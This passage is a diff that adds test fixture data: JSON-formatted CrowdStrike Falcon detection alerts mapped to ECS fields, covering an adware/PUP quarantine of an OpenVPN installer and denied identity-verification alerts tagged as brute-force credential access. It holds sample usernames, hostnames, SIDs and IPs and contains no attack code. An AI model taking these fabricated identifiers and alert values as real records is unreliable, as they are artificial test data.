!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+            },
+            "host": {
+                "domain": "ABC.LOCAL",
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "mac": [
+                    "AB-21-48-61-05-B2"
+                ],
+                "os": {
+                    "full": "Windows11",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "process": {
+                "end": "2023-11-03T18:00:21.000Z",
+                "entity_id": "399748687993",
+                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "hash": {
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                },
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "parent": {
+                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
+                    "entity_id": "392736520876",
+                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                    "hash": {
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+                    },
+                    "name": "explorer.exe",
+                    "pid": 392736520876
+                },
+                "pid": 399748687993,
+                "start": "2023-11-03T18:00:13.000Z",
+                "user": {
+                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "name": "mohit.jha"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b07f77fd3f9828b2c9d61f8a36609741",
+                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "8cc3fcdd7d52d2d5221303c213e044ae",
+                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "ABC.LOCAL",
+                    "ABC709-1175"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "yuvraj.mahajan",
+                    "mohit.jha"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0004"
+                    ],
+                    "name": [
+                        "MachineLearning"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0000"
+                    ],
+                    "name": [
+                        "Adware/PUP"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "name": "mohit.jha"
+            }
+        },
+        {
+            "@timestamp": "2024-08-19T18:44:01.100Z",
+            "cloud": {
+                "account": {
+                    "id": "65ddx-c454-45f9-9034-Fdf34353"
+                }
+            },
+            "crowdstrike": {
+                "alert": {
+                    "active_directory_authentication_method": 5,
+                    "activity": {
+                        "browser": "Edge 126.0.0",
+                        "device": "LAPTOP-AP7299QV",
+                        "id": "2A8A7C96-0F17-412C-8105-94542784E00D",
+                        "os": "Windows"
+                    },
+                    "agent_id": "38293534662e48c99f33c61631b3536d",
+                    "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "alert_attributes": 0,
+                    "cid": "4446934rf3fdb64ec3056ddfb96e",
+                    "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "confidence": 80,
+                    "context_timestamp": "2024-08-16T18:43:44.242Z",
+                    "crawled_timestamp": "2024-08-16T18:49:02.798Z",
+                    "created_timestamp": "2024-08-16T18:45:02.987Z",
+                    "data_domains": [
+                        "Identity"
+                    ],
+                    "description": "A user denied a policy identity verification request",
+                    "display_name": "Identity verification denied",
+                    "end_time": "2024-08-16T18:43:44.242Z",
+                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
+                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "idp_policy": {
+                        "mfa_factor_type": 32769,
+                        "mfa_provider": 14,
+                        "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
+                        "rule_name": "admin - RDP Access to TIER-0 Servers"
+                    },
+                    "ldap_search_query_attack": 16,
+                    "location_country_code": "US",
+                    "location_latitude_as_int": 340726,
+                    "location_longitude_as_int": -1182610,
+                    "model_anomaly_indicators": [
+                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
+                        "ENVIRONMENT_UNUSUAL_IP",
+                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
+                        "ISP_DATACENTER_CLASSIFICATION"
+                    ],
+                    "name": "IdpPolicyIdentityVerificationDenied",
+                    "objective": "Gain Access",
+                    "pattern_id": "51143",
+                    "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
+                    "product": "idp",
+                    "protocol_anomaly_classification": 1,
+                    "scenario": "suspicious_activity",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 79,
+                    "severity_name": "High",
+                    "show_in_ui": true,
+                    "source": {
+                        "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353",
+                        "account_domain": "NET.example.com",
+                        "account_name": "admin.example",
+                        "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79",
+                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733",
+                        "account_sam_account_name": "admin.abcdef",
+                        "account_upn": "admin.abcdef@example.com",
+                        "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0",
+                        "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158",
+                        "endpoint_address_ip4": "81.2.69.144",
+                        "endpoint_host_name": "ABDC454.net.example.com",
+                        "endpoint_ip_address": "81.2.69.144",
+                        "endpoint_ip_reputation": 128,
+                        "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d",
+                        "ip_isp_classification": 9,
+                        "ip_isp_domain": "sioru.com"
+                    },
+                    "source_products": [
+                        "Falcon Identity Protection"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "start_time": "2024-08-19T18:43:44.242Z",
+                    "status": "new",
+                    "tactic": "Credential Access",
+                    "tactic_id": "TA0006",
+                    "tags": [
+                        "falcon_complete"
+                    ],
+                    "target": {
+                        "account_name": "HFJFJFFFFFFF$",
+                        "domain_controller_host_name": "APINTAL19DC01",
+                        "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2",
+                        "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512",
+                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E",
+                        "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236",
+                        "endpoint_host_name": "GH787.net.example.com",
+                        "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7",
+                        "service_access_identifier": "HOST/admin.example.com"
+                    },
+                    "technique": "Brute Force",
+                    "technique_id": "T1110",
+                    "timestamp": "2024-08-19T18:44:01.100Z",
+                    "type": "idp-user-endpoint-app-info",
+                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
+                    "user_name": "admin.abcdef"
+                }
+            },
+            "destination": {
+                "domain": "GH787.net.example.com",
+                "user": {
+                    "domain": "APINTAL19DC01",
+                    "name": "HFJFJFFFFFFF$"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "end": "2024-08-16T18:43:44.242Z",
+                "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}",
+                "severity": 73,
+                "start": "2024-08-19T18:43:44.242Z"
+            },
+            "host": {
+                "id": "38293534662e48c99f33c61631b3536d"
+            },
+            "message": "A user denied a policy identity verification request",
+            "observer": {
+                "geo": {
+                    "country_iso_code": "US",
+                    "location": {
+                        "lat": 340726,
+                        "lon": -1182610
+                    }
+                }
+            },
+            "related": {
+                "hosts": [
+                    "NET.example.com",
+                    "ABDC454.net.example.com",
+                    "GH787.net.example.com",
+                    "APINTAL19DC01"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "admin.example",
+                    "admin.abcdef@example.com",
+                    "HFJFJFFFFFFF$",
+                    "admin.abcdef"
+                ]
+            },
+            "rule": {
+                "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
+                "name": "admin - RDP Access to TIER-0 Servers"
+            },
+            "source": {
+                "domain": "ABDC454.net.example.com",
+                "ip": "81.2.69.144",
+                "user": {
+                    "domain": "NET.example.com",
+                    "name": "admin.example"
+                }
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "falcon_complete"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0006"
+                    ],
+                    "name": [
+                        "Credential Access"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1110"
+                    ],
+                    "name": [
+                        "Brute Force"
+                    ]
+                }
+            },
+            "user": {
+                "name": "admin.abcdef"
+            }
+        },
+        {
+            "@timestamp": "2024-08-19T18:44:01.100Z",
+            "cloud": {
+                "account": {
+                    "id": "65ddx-c454-324d-9034-Fdf34353"
+                }
+            },
+            "crowdstrike": {
+                "alert": {
+                    "active_directory_authentication_method": 4,
+                    "activity": {
+                        "browser": "Edge126.0.0",
+                        "device": "LAPTOP-ADFVEJM234V",
+                        "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D",
+                        "os": "Windows"
+                    },
+                    "agent_id": "58293534772e48c99f33c61631b3536d",
+                    "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9",
+                    "alert_attributes": 0,
+                    "cid": "4446934rf3fdb64ec3056ddfb96e",
+                    "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                    "context_timestamp": "2024-08-19T18:43:44.242Z",
+                    "crawled_timestamp": "2024-08-19T18:49:02.798Z",
+                    "created_timestamp": "2024-08-19T18:45:02.987Z",
+                    "data_domains": [
+                        "Identity"
+                    ],
+                    "description": "Auserdeniedapolicyidentityverificationrequest",
+                    "display_name": "Identityverificationdenied",
+                    "end_time": "2024-08-19T18:43:44.242Z",
+                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
+                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
+                    "idp_policy": {
+                        "mfa_factor_type": 42669,
+                        "mfa_provider": 11,
+                        "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242",
+                        "rule_name": "admin-RDPAccesstoTIER-0Servers"
+                    },
+                    "ldap_search_query_attack": 16,
+                    "location_country_code": "US",
+                    "location_latitude_as_int": 320316,
+                    "location_longitude_as_int": -12729080,
